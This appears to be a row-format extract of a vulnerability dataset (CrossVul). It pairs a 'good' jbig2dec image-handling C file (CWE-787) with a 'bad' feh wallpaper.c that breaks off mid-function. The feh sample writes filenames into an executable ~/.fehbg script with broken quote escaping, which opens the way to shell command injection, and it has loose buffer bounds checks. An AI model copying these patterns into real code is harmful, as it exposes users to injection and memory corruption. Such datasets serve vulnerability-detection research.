id
stringlengths
25
30
content
stringlengths
14
942k
max_stars_repo_path
stringlengths
49
55
crossvul-cpp_data_good_3984_0
/* Copyright (C) 2001-2019 Artifex Software, Inc. All Rights Reserved. This software is provided AS-IS with no warranty, either express or implied. This software is distributed under license and may not be copied, modified or distributed except as expressly authorized under the terms of the license contained in the file LICENSE in this distribution. Refer to licensing information at http://www.artifex.com or contact Artifex Software, Inc., 1305 Grant Avenue - Suite 200, Novato, CA 94945, U.S.A., +1(415)492-9861, for further information. */ /* jbig2dec */ #ifdef HAVE_CONFIG_H #include "config.h" #endif #include "os_types.h" #include <stdio.h> #include <stdlib.h> #include <string.h> /* memcpy() */ #include "jbig2.h" #include "jbig2_priv.h" #include "jbig2_image.h" #if !defined (INT32_MAX) #define INT32_MAX 0x7fffffff #endif #if !defined (UINT32_MAX) #define UINT32_MAX 0xffffffffu #endif /* allocate a Jbig2Image structure and its associated bitmap */ Jbig2Image * jbig2_image_new(Jbig2Ctx *ctx, uint32_t width, uint32_t height) { Jbig2Image *image; uint32_t stride; if (width == 0 || height == 0) { jbig2_error(ctx, JBIG2_SEVERITY_FATAL, -1, "failed to create zero sized image"); return NULL; } image = jbig2_new(ctx, Jbig2Image, 1); if (image == NULL) { jbig2_error(ctx, JBIG2_SEVERITY_FATAL, -1, "failed to allocate image"); return NULL; } stride = ((width - 1) >> 3) + 1; /* generate a byte-aligned stride */ /* check for integer multiplication overflow */ if (height > (INT32_MAX / stride)) { jbig2_error(ctx, JBIG2_SEVERITY_FATAL, -1, "integer multiplication overflow (stride=%u, height=%u)", stride, height); jbig2_free(ctx->allocator, image); return NULL; } image->data = jbig2_new(ctx, uint8_t, (size_t) height * stride); if (image->data == NULL) { jbig2_error(ctx, JBIG2_SEVERITY_FATAL, -1, "failed to allocate image data buffer (stride=%u, height=%u)", stride, height); jbig2_free(ctx->allocator, image); return NULL; } image->width = width; image->height = height; image->stride = stride; image->refcount = 1; return image; } /* bump the reference count for an image pointer */ Jbig2Image * jbig2_image_reference(Jbig2Ctx *ctx, Jbig2Image *image) { if (image) image->refcount++; return image; } /* release an image pointer, freeing it it appropriate */ void jbig2_image_release(Jbig2Ctx *ctx, Jbig2Image *image) { if (image == NULL) return; image->refcount--; if (image->refcount == 0) jbig2_image_free(ctx, image); } /* free a Jbig2Image structure and its associated memory */ void jbig2_image_free(Jbig2Ctx *ctx, Jbig2Image *image) { if (image != NULL) { jbig2_free(ctx->allocator, image->data); jbig2_free(ctx->allocator, image); } } /* resize a Jbig2Image */ Jbig2Image * jbig2_image_resize(Jbig2Ctx *ctx, Jbig2Image *image, uint32_t width, uint32_t height, int value) { if (width == image->width) { uint8_t *data; /* check for integer multiplication overflow */ if (image->height > (INT32_MAX / image->stride)) { jbig2_error(ctx, JBIG2_SEVERITY_FATAL, -1, "integer multiplication overflow during resize (stride=%u, height=%u)", image->stride, height); return NULL; } /* use the same stride, just change the length */ data = jbig2_renew(ctx, image->data, uint8_t, (size_t) height * image->stride); if (data == NULL) { jbig2_error(ctx, JBIG2_SEVERITY_FATAL, -1, "failed to reallocate image"); return NULL; } image->data = data; if (height > image->height) { const uint8_t fill = value ? 0xFF : 0x00; memset(image->data + (size_t) image->height * image->stride, fill, ((size_t) height - image->height) * image->stride); } image->height = height; } else { Jbig2Image *newimage; int code; /* Unoptimized implementation, but it works. */ newimage = jbig2_image_new(ctx, width, height); if (newimage == NULL) { jbig2_error(ctx, JBIG2_SEVERITY_WARNING, -1, "failed to allocate resized image"); return NULL; } jbig2_image_clear(ctx, newimage, value); code = jbig2_image_compose(ctx, newimage, image, 0, 0, JBIG2_COMPOSE_REPLACE); if (code < 0) { jbig2_error(ctx, JBIG2_SEVERITY_WARNING, -1, "failed to compose image buffers when resizing"); jbig2_image_release(ctx, newimage); return NULL; } /* if refcount > 1 the original image, its pointer must be kept, so simply replaces its innards, and throw away the empty new image shell. */ jbig2_free(ctx->allocator, image->data); image->width = newimage->width; image->height = newimage->height; image->stride = newimage->stride; image->data = newimage->data; jbig2_free(ctx->allocator, newimage); } return image; } static inline void template_image_compose_opt(const uint8_t * JBIG2_RESTRICT ss, uint8_t * JBIG2_RESTRICT dd, int early, int late, uint8_t leftmask, uint8_t rightmask, uint32_t bytewidth_, uint32_t h, uint32_t shift, uint32_t dstride, uint32_t sstride, Jbig2ComposeOp op) { int i; uint32_t j; int bytewidth = (int)bytewidth_; if (bytewidth == 1) { for (j = 0; j < h; j++) { /* Only 1 byte! */ uint8_t v = (((early ? 0 : ss[0]<<8) | (late ? 0 : ss[1]))>>shift); if (op == JBIG2_COMPOSE_OR) *dd |= v & leftmask; else if (op == JBIG2_COMPOSE_AND) *dd &= (v & leftmask) | ~leftmask; else if (op == JBIG2_COMPOSE_XOR) *dd ^= v & leftmask; else if (op == JBIG2_COMPOSE_XNOR) *dd ^= (~v) & leftmask; else /* Replace */ *dd = (v & leftmask) | (*dd & ~leftmask); dd += dstride; ss += sstride; } return; } bytewidth -= 2; if (shift == 0) { ss++; for (j = 0; j < h; j++) { /* Left byte */ const uint8_t * JBIG2_RESTRICT s = ss; uint8_t * JBIG2_RESTRICT d = dd; if (op == JBIG2_COMPOSE_OR) *d++ |= *s++ & leftmask; else if (op == JBIG2_COMPOSE_AND) *d++ &= (*s++ & leftmask) | ~leftmask; else if (op == JBIG2_COMPOSE_XOR) *d++ ^= *s++ & leftmask; else if (op == JBIG2_COMPOSE_XNOR) *d++ ^= (~*s++) & leftmask; else /* Replace */ *d = (*s++ & leftmask) | (*d & ~leftmask), d++; /* Central run */ for (i = bytewidth; i != 0; i--) { if (op == JBIG2_COMPOSE_OR) *d++ |= *s++; else if (op == JBIG2_COMPOSE_AND) *d++ &= *s++; else if (op == JBIG2_COMPOSE_XOR) *d++ ^= *s++; else if (op == JBIG2_COMPOSE_XNOR) *d++ ^= ~*s++; else /* Replace */ *d++ = *s++; } /* Right byte */ if (op == JBIG2_COMPOSE_OR) *d |= *s & rightmask; else if (op == JBIG2_COMPOSE_AND) *d &= (*s & rightmask) | ~rightmask; else if (op == JBIG2_COMPOSE_XOR) *d ^= *s & rightmask; else if (op == JBIG2_COMPOSE_XNOR) *d ^= (~*s) & rightmask; else /* Replace */ *d = (*s & rightmask) | (*d & ~rightmask); dd += dstride; ss += sstride; } } else { for (j = 0; j < h; j++) { /* Left byte */ const uint8_t * JBIG2_RESTRICT s = ss; uint8_t * JBIG2_RESTRICT d = dd; uint8_t s0, s1, v; s0 = early ? 0 : *s; s++; s1 = *s++; v = ((s0<<8) | s1)>>shift; if (op == JBIG2_COMPOSE_OR) *d++ |= v & leftmask; else if (op == JBIG2_COMPOSE_AND) *d++ &= (v & leftmask) | ~leftmask; else if (op == JBIG2_COMPOSE_XOR) *d++ ^= v & leftmask; else if (op == JBIG2_COMPOSE_XNOR) *d++ ^= (~v) & leftmask; else /* Replace */ *d = (v & leftmask) | (*d & ~leftmask), d++; /* Central run */ for (i = bytewidth; i > 0; i--) { s0 = s1; s1 = *s++; v = ((s0<<8) | s1)>>shift; if (op == JBIG2_COMPOSE_OR) *d++ |= v; else if (op == JBIG2_COMPOSE_AND) *d++ &= v; else if (op == JBIG2_COMPOSE_XOR) *d++ ^= v; else if (op == JBIG2_COMPOSE_XNOR) *d++ ^= ~v; else /* Replace */ *d++ = v; } /* Right byte */ s0 = s1; s1 = (late ? 0 : *s); v = (((s0<<8) | s1)>>shift); if (op == JBIG2_COMPOSE_OR) *d |= v & rightmask; else if (op == JBIG2_COMPOSE_AND) *d &= (v & rightmask) | ~rightmask; else if (op == JBIG2_COMPOSE_XOR) *d ^= v & rightmask; else if (op == JBIG2_COMPOSE_XNOR) *d ^= ~v & rightmask; else /* Replace */ *d = (v & rightmask) | (*d & ~rightmask); dd += dstride; ss += sstride; } } } static void jbig2_image_compose_opt_OR(const uint8_t *s, uint8_t *d, int early, int late, uint8_t mask, uint8_t rightmask, uint32_t bytewidth, uint32_t h, uint32_t shift, uint32_t dstride, uint32_t sstride) { if (early || late) template_image_compose_opt(s, d, early, late, mask, rightmask, bytewidth, h, shift, dstride, sstride, JBIG2_COMPOSE_OR); else template_image_compose_opt(s, d, 0, 0, mask, rightmask, bytewidth, h, shift, dstride, sstride, JBIG2_COMPOSE_OR); } static void jbig2_image_compose_opt_AND(const uint8_t *s, uint8_t *d, int early, int late, uint8_t mask, uint8_t rightmask, uint32_t bytewidth, uint32_t h, uint32_t shift, uint32_t dstride, uint32_t sstride) { if (early || late) template_image_compose_opt(s, d, early, late, mask, rightmask, bytewidth, h, shift, dstride, sstride, JBIG2_COMPOSE_AND); else template_image_compose_opt(s, d, 0, 0, mask, rightmask, bytewidth, h, shift, dstride, sstride, JBIG2_COMPOSE_AND); } static void jbig2_image_compose_opt_XOR(const uint8_t *s, uint8_t *d, int early, int late, uint8_t mask, uint8_t rightmask, uint32_t bytewidth, uint32_t h, uint32_t shift, uint32_t dstride, uint32_t sstride) { if (early || late) template_image_compose_opt(s, d, early, late, mask, rightmask, bytewidth, h, shift, dstride, sstride, JBIG2_COMPOSE_XOR); else template_image_compose_opt(s, d, 0, 0, mask, rightmask, bytewidth, h, shift, dstride, sstride, JBIG2_COMPOSE_XOR); } static void jbig2_image_compose_opt_XNOR(const uint8_t *s, uint8_t *d, int early, int late, uint8_t mask, uint8_t rightmask, uint32_t bytewidth, uint32_t h, uint32_t shift, uint32_t dstride, uint32_t sstride) { if (early || late) template_image_compose_opt(s, d, early, late, mask, rightmask, bytewidth, h, shift, dstride, sstride, JBIG2_COMPOSE_XNOR); else template_image_compose_opt(s, d, 0, 0, mask, rightmask, bytewidth, h, shift, dstride, sstride, JBIG2_COMPOSE_XNOR); } static void jbig2_image_compose_opt_REPLACE(const uint8_t *s, uint8_t *d, int early, int late, uint8_t mask, uint8_t rightmask, uint32_t bytewidth, uint32_t h, uint32_t shift, uint32_t dstride, uint32_t sstride) { if (early || late) template_image_compose_opt(s, d, early, late, mask, rightmask, bytewidth, h, shift, dstride, sstride, JBIG2_COMPOSE_REPLACE); else template_image_compose_opt(s, d, 0, 0, mask, rightmask, bytewidth, h, shift, dstride, sstride, JBIG2_COMPOSE_REPLACE); } /* composite one jbig2_image onto another */ int jbig2_image_compose(Jbig2Ctx *ctx, Jbig2Image *dst, Jbig2Image *src, int x, int y, Jbig2ComposeOp op) { uint32_t w, h; uint32_t shift; uint32_t leftbyte; uint8_t *ss; uint8_t *dd; uint8_t leftmask, rightmask; int early = x >= 0; int late; uint32_t bytewidth; uint32_t syoffset = 0; if (src == NULL) return 0; if ((UINT32_MAX - src->width < (x > 0 ? x : -x)) || (UINT32_MAX - src->height < (y > 0 ? y : -y))) { #ifdef JBIG2_DEBUG jbig2_error(ctx, JBIG2_SEVERITY_DEBUG, -1, "overflow in compose_image"); #endif return 0; } /* This code takes a src image and combines it onto dst at offset (x,y), with operation op. */ /* Data is packed msb first within a byte, so with bits numbered: 01234567. * Second byte is: 89abcdef. So to combine into a run, we use: * (s[0]<<8) | s[1] == 0123456789abcdef. * To read from src into dst at offset 3, we need to read: * read: 0123456789abcdef... * write: 0123456798abcdef... * In general, to read from src and write into dst at offset x, we need to shift * down by (x&7) bits to allow for bit alignment. So shift = x&7. * So the 'central' part of our runs will see us doing: * *d++ op= ((s[0]<<8)|s[1])>>shift; * with special cases on the left and right edges of the run to mask. * With the left hand edge, we have to be careful not to 'underread' the start of * the src image; this is what the early flag is about. Similarly we have to be * careful not to read off the right hand edge; this is what the late flag is for. */ /* clip */ w = src->width; h = src->height; shift = (x & 7); ss = src->data - early; if (x < 0) { if (w < (uint32_t) -x) w = 0; else w += x; ss += (-x-1)>>3; x = 0; } if (y < 0) { if (h < (uint32_t) -y) h = 0; else h += y; syoffset = -y * src->stride; y = 0; } if ((uint32_t)x + w > dst->width) { if (dst->width < (uint32_t)x) w = 0; else w = dst->width - x; } if ((uint32_t)y + h > dst->height) { if (dst->height < (uint32_t)y) h = 0; else h = dst->height - y; } #ifdef JBIG2_DEBUG jbig2_error(ctx, JBIG2_SEVERITY_DEBUG, -1, "compositing %dx%d at (%d, %d) after clipping", w, h, x, y); #endif /* check for zero clipping region */ if ((w <= 0) || (h <= 0)) { #ifdef JBIG2_DEBUG jbig2_error(ctx, JBIG2_SEVERITY_DEBUG, -1, "zero clipping region"); #endif return 0; } leftbyte = (uint32_t) x >> 3; dd = dst->data + y * dst->stride + leftbyte; bytewidth = (((uint32_t) x + w - 1) >> 3) - leftbyte + 1; leftmask = 255>>(x&7); rightmask = (((x+w)&7) == 0) ? 255 : ~(255>>((x+w)&7)); if (bytewidth == 1) leftmask &= rightmask; late = (ss + bytewidth >= src->data + ((src->width+7)>>3)); ss += syoffset; switch(op) { case JBIG2_COMPOSE_OR: jbig2_image_compose_opt_OR(ss, dd, early, late, leftmask, rightmask, bytewidth, h, shift, dst->stride, src->stride); break; case JBIG2_COMPOSE_AND: jbig2_image_compose_opt_AND(ss, dd, early, late, leftmask, rightmask, bytewidth, h, shift, dst->stride, src->stride); break; case JBIG2_COMPOSE_XOR: jbig2_image_compose_opt_XOR(ss, dd, early, late, leftmask, rightmask, bytewidth, h, shift, dst->stride, src->stride); break; case JBIG2_COMPOSE_XNOR: jbig2_image_compose_opt_XNOR(ss, dd, early, late, leftmask, rightmask, bytewidth, h, shift, dst->stride, src->stride); break; case JBIG2_COMPOSE_REPLACE: jbig2_image_compose_opt_REPLACE(ss, dd, early, late, leftmask, rightmask, bytewidth, h, shift, dst->stride, src->stride); break; } return 0; } /* initialize an image bitmap to a constant value */ void jbig2_image_clear(Jbig2Ctx *ctx, Jbig2Image *image, int value) { const uint8_t fill = value ? 0xFF : 0x00; memset(image->data, fill, image->stride * image->height); } /* look up a pixel value in an image. returns 0 outside the image frame for the convenience of the template code */ int jbig2_image_get_pixel(Jbig2Image *image, int x, int y) { const int w = image->width; const int h = image->height; const int byte = (x >> 3) + y * image->stride; const int bit = 7 - (x & 7); if ((x < 0) || (x >= w)) return 0; if ((y < 0) || (y >= h)) return 0; return ((image->data[byte] >> bit) & 1); } /* set an individual pixel value in an image */ void jbig2_image_set_pixel(Jbig2Image *image, int x, int y, bool value) { const int w = image->width; const int h = image->height; int scratch, mask; int bit, byte; if ((x < 0) || (x >= w)) return; if ((y < 0) || (y >= h)) return; byte = (x >> 3) + y * image->stride; bit = 7 - (x & 7); mask = (1 << bit) ^ 0xff; scratch = image->data[byte] & mask; image->data[byte] = scratch | (value << bit); }
./CrossVul/dataset_final_sorted/CWE-787/c/good_3984_0
crossvul-cpp_data_bad_3301_0
/* wallpaper.c Copyright (C) 1999-2003 Tom Gilbert. Copyright (C) 2010-2011 Daniel Friesel. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies of the Software and its documentation and acknowledgment shall be given in the documentation and software packages that this Software was used. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #include "feh.h" #include "filelist.h" #include "options.h" #include "wallpaper.h" #include <limits.h> #include <sys/stat.h> Window ipc_win = None; Window my_ipc_win = None; Atom ipc_atom = None; static unsigned char timeout = 0; /* * This is a boolean indicating * That while we seem to see E16 IPC * it's actually E17 faking it * -- richlowe 2005-06-22 */ static char e17_fake_ipc = 0; void feh_wm_set_bg_filelist(unsigned char bgmode) { if (filelist_len == 0) eprintf("No files specified for background setting"); switch (bgmode) { case BG_MODE_TILE: feh_wm_set_bg(NULL, NULL, 0, 0, 0, 0, 1); break; case BG_MODE_SCALE: feh_wm_set_bg(NULL, NULL, 0, 1, 0, 0, 1); break; case BG_MODE_FILL: feh_wm_set_bg(NULL, NULL, 0, 0, 1, 0, 1); break; case BG_MODE_MAX: feh_wm_set_bg(NULL, NULL, 0, 0, 2, 0, 1); break; default: feh_wm_set_bg(NULL, NULL, 1, 0, 0, 0, 1); break; } } static void feh_wm_load_next(Imlib_Image *im) { static gib_list *wpfile = NULL; if (wpfile == NULL) wpfile = filelist; if (feh_load_image(im, FEH_FILE(wpfile->data)) == 0) eprintf("Unable to load image %s", FEH_FILE(wpfile->data)->filename); if (wpfile->next) wpfile = wpfile->next; return; } static void feh_wm_set_bg_scaled(Pixmap pmap, Imlib_Image im, int use_filelist, int x, int y, int w, int h) { if (use_filelist) feh_wm_load_next(&im); gib_imlib_render_image_on_drawable_at_size(pmap, im, x, y, w, h, 1, 0, !opt.force_aliasing); if (use_filelist) gib_imlib_free_image_and_decache(im); return; } static void feh_wm_set_bg_centered(Pixmap pmap, Imlib_Image im, int use_filelist, int x, int y, int w, int h) { int offset_x, offset_y; if (use_filelist) feh_wm_load_next(&im); if(opt.geom_flags & XValue) if(opt.geom_flags & XNegative) offset_x = (w - gib_imlib_image_get_width(im)) + opt.geom_x; else offset_x = opt.geom_x; else offset_x = (w - gib_imlib_image_get_width(im)) >> 1; if(opt.geom_flags & YValue) if(opt.geom_flags & YNegative) offset_y = (h - gib_imlib_image_get_height(im)) + opt.geom_y; else offset_y = opt.geom_y; else offset_y = (h - gib_imlib_image_get_height(im)) >> 1; gib_imlib_render_image_part_on_drawable_at_size(pmap, im, ((offset_x < 0) ? -offset_x : 0), ((offset_y < 0) ? -offset_y : 0), w, h, x + ((offset_x > 0) ? offset_x : 0), y + ((offset_y > 0) ? offset_y : 0), w, h, 1, 0, 0); if (use_filelist) gib_imlib_free_image_and_decache(im); return; } static void feh_wm_set_bg_filled(Pixmap pmap, Imlib_Image im, int use_filelist, int x, int y, int w, int h) { int img_w, img_h, cut_x; int render_w, render_h, render_x, render_y; if (use_filelist) feh_wm_load_next(&im); img_w = gib_imlib_image_get_width(im); img_h = gib_imlib_image_get_height(im); cut_x = (((img_w * h) > (img_h * w)) ? 1 : 0); render_w = ( cut_x ? ((img_h * w) / h) : img_w); render_h = ( !cut_x ? ((img_w * h) / w) : img_h); render_x = ( cut_x ? ((img_w - render_w) >> 1) : 0); render_y = ( !cut_x ? ((img_h - render_h) >> 1) : 0); gib_imlib_render_image_part_on_drawable_at_size(pmap, im, render_x, render_y, render_w, render_h, x, y, w, h, 1, 0, !opt.force_aliasing); if (use_filelist) gib_imlib_free_image_and_decache(im); return; } static void feh_wm_set_bg_maxed(Pixmap pmap, Imlib_Image im, int use_filelist, int x, int y, int w, int h) { int img_w, img_h, border_x; int render_w, render_h, render_x, render_y; int margin_x, margin_y; if (use_filelist) feh_wm_load_next(&im); img_w = gib_imlib_image_get_width(im); img_h = gib_imlib_image_get_height(im); border_x = (((img_w * h) > (img_h * w)) ? 0 : 1); render_w = ( border_x ? ((img_w * h) / img_h) : w); render_h = ( !border_x ? ((img_h * w) / img_w) : h); if(opt.geom_flags & XValue) if(opt.geom_flags & XNegative) margin_x = (w - render_w) + opt.geom_x; else margin_x = opt.geom_x; else margin_x = (w - render_w) >> 1; if(opt.geom_flags & YValue) if(opt.geom_flags & YNegative) margin_y = (h - render_h) + opt.geom_y; else margin_y = opt.geom_y; else margin_y = (h - render_h) >> 1; render_x = x + ( border_x ? margin_x : 0); render_y = y + ( !border_x ? margin_y : 0); gib_imlib_render_image_on_drawable_at_size(pmap, im, render_x, render_y, render_w, render_h, 1, 0, !opt.force_aliasing); if (use_filelist) gib_imlib_free_image_and_decache(im); return; } void feh_wm_set_bg(char *fil, Imlib_Image im, int centered, int scaled, int filled, int desktop, int use_filelist) { XGCValues gcvalues; XGCValues gcval; GC gc; char bgname[20]; int num = (int) rand(); char bgfil[4096]; char sendbuf[4096]; /* * TODO this re-implements mkstemp (badly). However, it is only needed * for non-file images and enlightenment. Might be easier to just remove * it. */ snprintf(bgname, sizeof(bgname), "FEHBG_%d", num); if (!fil && im) { if (getenv("HOME") == NULL) { weprintf("Cannot save wallpaper to temporary file: You have no HOME"); return; } snprintf(bgfil, sizeof(bgfil), "%s/.%s.png", getenv("HOME"), bgname); imlib_context_set_image(im); imlib_image_set_format("png"); gib_imlib_save_image(im, bgfil); D(("bg saved as %s\n", bgfil)); fil = bgfil; } if (feh_wm_get_wm_is_e() && (enl_ipc_get_win() != None)) { if (use_filelist) { feh_wm_load_next(&im); fil = FEH_FILE(filelist->data)->filename; } snprintf(sendbuf, sizeof(sendbuf), "background %s bg.file %s", bgname, fil); enl_ipc_send(sendbuf); if (scaled) { snprintf(sendbuf, sizeof(sendbuf), "background %s bg.solid 0 0 0", bgname); enl_ipc_send(sendbuf); snprintf(sendbuf, sizeof(sendbuf), "background %s bg.tile 0", bgname); enl_ipc_send(sendbuf); snprintf(sendbuf, sizeof(sendbuf), "background %s bg.xjust 512", bgname); enl_ipc_send(sendbuf); snprintf(sendbuf, sizeof(sendbuf), "background %s bg.yjust 512", bgname); enl_ipc_send(sendbuf); snprintf(sendbuf, sizeof(sendbuf), "background %s bg.xperc 1024", bgname); enl_ipc_send(sendbuf); snprintf(sendbuf, sizeof(sendbuf), "background %s bg.yperc 1024", bgname); enl_ipc_send(sendbuf); } else if (centered) { snprintf(sendbuf, sizeof(sendbuf), "background %s bg.solid 0 0 0", bgname); enl_ipc_send(sendbuf); snprintf(sendbuf, sizeof(sendbuf), "background %s bg.tile 0", bgname); enl_ipc_send(sendbuf); snprintf(sendbuf, sizeof(sendbuf), "background %s bg.xjust 512", bgname); enl_ipc_send(sendbuf); snprintf(sendbuf, sizeof(sendbuf), "background %s bg.yjust 512", bgname); enl_ipc_send(sendbuf); } else { snprintf(sendbuf, sizeof(sendbuf), "background %s bg.tile 1", bgname); enl_ipc_send(sendbuf); } snprintf(sendbuf, sizeof(sendbuf), "use_bg %s %d", bgname, desktop); enl_ipc_send(sendbuf); enl_ipc_sync(); } else { Atom prop_root, prop_esetroot, type; int format, i; unsigned long length, after; unsigned char *data_root = NULL, *data_esetroot = NULL; Pixmap pmap_d1, pmap_d2; gib_list *l; /* string for sticking in ~/.fehbg */ char *fehbg = NULL; char fehbg_args[512]; fehbg_args[0] = '\0'; char *home; char filbuf[4096]; char *bgfill = NULL; bgfill = opt.image_bg == IMAGE_BG_WHITE ? "--image-bg white" : "--image-bg black" ; #ifdef HAVE_LIBXINERAMA if (opt.xinerama) { if (opt.xinerama_index >= 0) { snprintf(fehbg_args, sizeof(fehbg_args), "--xinerama-index %d", opt.xinerama_index); } } else snprintf(fehbg_args, sizeof(fehbg_args), "--no-xinerama"); #endif /* HAVE_LIBXINERAMA */ /* local display to set closedownmode on */ Display *disp2; Window root2; int depth2; int in, out, w, h; D(("Falling back to XSetRootWindowPixmap\n")); /* Put the filename in filbuf between ' and escape ' in the filename */ out = 0; if (fil && !use_filelist) { filbuf[out++] = '\''; fil = feh_absolute_path(fil); for (in = 0; fil[in] && out < 4092; in++) { if (fil[in] == '\'') filbuf[out++] = '\\'; filbuf[out++] = fil[in]; } filbuf[out++] = '\''; free(fil); } else { for (l = filelist; l && out < 4092; l = l->next) { filbuf[out++] = '\''; fil = feh_absolute_path(FEH_FILE(l->data)->filename); for (in = 0; fil[in] && out < 4092; in++) { if (fil[in] == '\'') filbuf[out++] = '\\'; filbuf[out++] = fil[in]; } filbuf[out++] = '\''; filbuf[out++] = ' '; free(fil); } } filbuf[out++] = 0; if (scaled) { pmap_d1 = XCreatePixmap(disp, root, scr->width, scr->height, depth); #ifdef HAVE_LIBXINERAMA if (opt.xinerama_index >= 0) { if (opt.image_bg == IMAGE_BG_WHITE) gcval.foreground = WhitePixel(disp, DefaultScreen(disp)); else gcval.foreground = BlackPixel(disp, DefaultScreen(disp)); gc = XCreateGC(disp, root, GCForeground, &gcval); XFillRectangle(disp, pmap_d1, gc, 0, 0, scr->width, scr->height); XFreeGC(disp, gc); } if (opt.xinerama && xinerama_screens) { for (i = 0; i < num_xinerama_screens; i++) { if (opt.xinerama_index < 0 || opt.xinerama_index == i) { feh_wm_set_bg_scaled(pmap_d1, im, use_filelist, xinerama_screens[i].x_org, xinerama_screens[i].y_org, xinerama_screens[i].width, xinerama_screens[i].height); } } } else #endif /* HAVE_LIBXINERAMA */ feh_wm_set_bg_scaled(pmap_d1, im, use_filelist, 0, 0, scr->width, scr->height); fehbg = estrjoin(" ", "feh", fehbg_args, "--bg-scale", filbuf, NULL); } else if (centered) { D(("centering\n")); pmap_d1 = XCreatePixmap(disp, root, scr->width, scr->height, depth); if (opt.image_bg == IMAGE_BG_WHITE) gcval.foreground = WhitePixel(disp, DefaultScreen(disp)); else gcval.foreground = BlackPixel(disp, DefaultScreen(disp)); gc = XCreateGC(disp, root, GCForeground, &gcval); XFillRectangle(disp, pmap_d1, gc, 0, 0, scr->width, scr->height); #ifdef HAVE_LIBXINERAMA if (opt.xinerama && xinerama_screens) { for (i = 0; i < num_xinerama_screens; i++) { if (opt.xinerama_index < 0 || opt.xinerama_index == i) { feh_wm_set_bg_centered(pmap_d1, im, use_filelist, xinerama_screens[i].x_org, xinerama_screens[i].y_org, xinerama_screens[i].width, xinerama_screens[i].height); } } } else #endif /* HAVE_LIBXINERAMA */ feh_wm_set_bg_centered(pmap_d1, im, use_filelist, 0, 0, scr->width, scr->height); XFreeGC(disp, gc); fehbg = estrjoin(" ", "feh", fehbg_args, bgfill, "--bg-center", filbuf, NULL); } else if (filled == 1) { pmap_d1 = XCreatePixmap(disp, root, scr->width, scr->height, depth); #ifdef HAVE_LIBXINERAMA if (opt.xinerama_index >= 0) { if (opt.image_bg == IMAGE_BG_WHITE) gcval.foreground = WhitePixel(disp, DefaultScreen(disp)); else gcval.foreground = BlackPixel(disp, DefaultScreen(disp)); gc = XCreateGC(disp, root, GCForeground, &gcval); XFillRectangle(disp, pmap_d1, gc, 0, 0, scr->width, scr->height); XFreeGC(disp, gc); } if (opt.xinerama && xinerama_screens) { for (i = 0; i < num_xinerama_screens; i++) { if (opt.xinerama_index < 0 || opt.xinerama_index == i) { feh_wm_set_bg_filled(pmap_d1, im, use_filelist, xinerama_screens[i].x_org, xinerama_screens[i].y_org, xinerama_screens[i].width, xinerama_screens[i].height); } } } else #endif /* HAVE_LIBXINERAMA */ feh_wm_set_bg_filled(pmap_d1, im, use_filelist , 0, 0, scr->width, scr->height); fehbg = estrjoin(" ", "feh", fehbg_args, "--bg-fill", filbuf, NULL); } else if (filled == 2) { pmap_d1 = XCreatePixmap(disp, root, scr->width, scr->height, depth); if (opt.image_bg == IMAGE_BG_WHITE) gcval.foreground = WhitePixel(disp, DefaultScreen(disp)); else gcval.foreground = BlackPixel(disp, DefaultScreen(disp)); gc = XCreateGC(disp, root, GCForeground, &gcval); XFillRectangle(disp, pmap_d1, gc, 0, 0, scr->width, scr->height); #ifdef HAVE_LIBXINERAMA if (opt.xinerama && xinerama_screens) { for (i = 0; i < num_xinerama_screens; i++) { if (opt.xinerama_index < 0 || opt.xinerama_index == i) { feh_wm_set_bg_maxed(pmap_d1, im, use_filelist, xinerama_screens[i].x_org, xinerama_screens[i].y_org, xinerama_screens[i].width, xinerama_screens[i].height); } } } else #endif /* HAVE_LIBXINERAMA */ feh_wm_set_bg_maxed(pmap_d1, im, use_filelist, 0, 0, scr->width, scr->height); XFreeGC(disp, gc); fehbg = estrjoin(" ", "feh", fehbg_args, bgfill, "--bg-max", filbuf, NULL); } else { if (use_filelist) feh_wm_load_next(&im); w = gib_imlib_image_get_width(im); h = gib_imlib_image_get_height(im); pmap_d1 = XCreatePixmap(disp, root, w, h, depth); gib_imlib_render_image_on_drawable(pmap_d1, im, 0, 0, 1, 0, 0); fehbg = estrjoin(" ", "feh --bg-tile", filbuf, NULL); } if (fehbg && !opt.no_fehbg) { home = getenv("HOME"); if (home) { FILE *fp; char *path; struct stat s; path = estrjoin("/", home, ".fehbg", NULL); if ((fp = fopen(path, "w")) == NULL) { weprintf("Can't write to %s", path); } else { fprintf(fp, "#!/bin/sh\n%s\n", fehbg); fclose(fp); stat(path, &s); if (chmod(path, s.st_mode | S_IXUSR | S_IXGRP) != 0) { weprintf("Can't set %s as executable", path); } } free(path); } } free(fehbg); /* create new display, copy pixmap to new display */ disp2 = XOpenDisplay(NULL); if (!disp2) eprintf("Can't reopen X display."); root2 = RootWindow(disp2, DefaultScreen(disp2)); depth2 = DefaultDepth(disp2, DefaultScreen(disp2)); XSync(disp, False); pmap_d2 = XCreatePixmap(disp2, root2, scr->width, scr->height, depth2); gcvalues.fill_style = FillTiled; gcvalues.tile = pmap_d1; gc = XCreateGC(disp2, pmap_d2, GCFillStyle | GCTile, &gcvalues); XFillRectangle(disp2, pmap_d2, gc, 0, 0, scr->width, scr->height); XFreeGC(disp2, gc); XSync(disp2, False); XSync(disp, False); XFreePixmap(disp, pmap_d1); prop_root = XInternAtom(disp2, "_XROOTPMAP_ID", True); prop_esetroot = XInternAtom(disp2, "ESETROOT_PMAP_ID", True); if (prop_root != None && prop_esetroot != None) { XGetWindowProperty(disp2, root2, prop_root, 0L, 1L, False, AnyPropertyType, &type, &format, &length, &after, &data_root); if (type == XA_PIXMAP) { XGetWindowProperty(disp2, root2, prop_esetroot, 0L, 1L, False, AnyPropertyType, &type, &format, &length, &after, &data_esetroot); if (data_root && data_esetroot) { if (type == XA_PIXMAP && *((Pixmap *) data_root) == *((Pixmap *) data_esetroot)) { 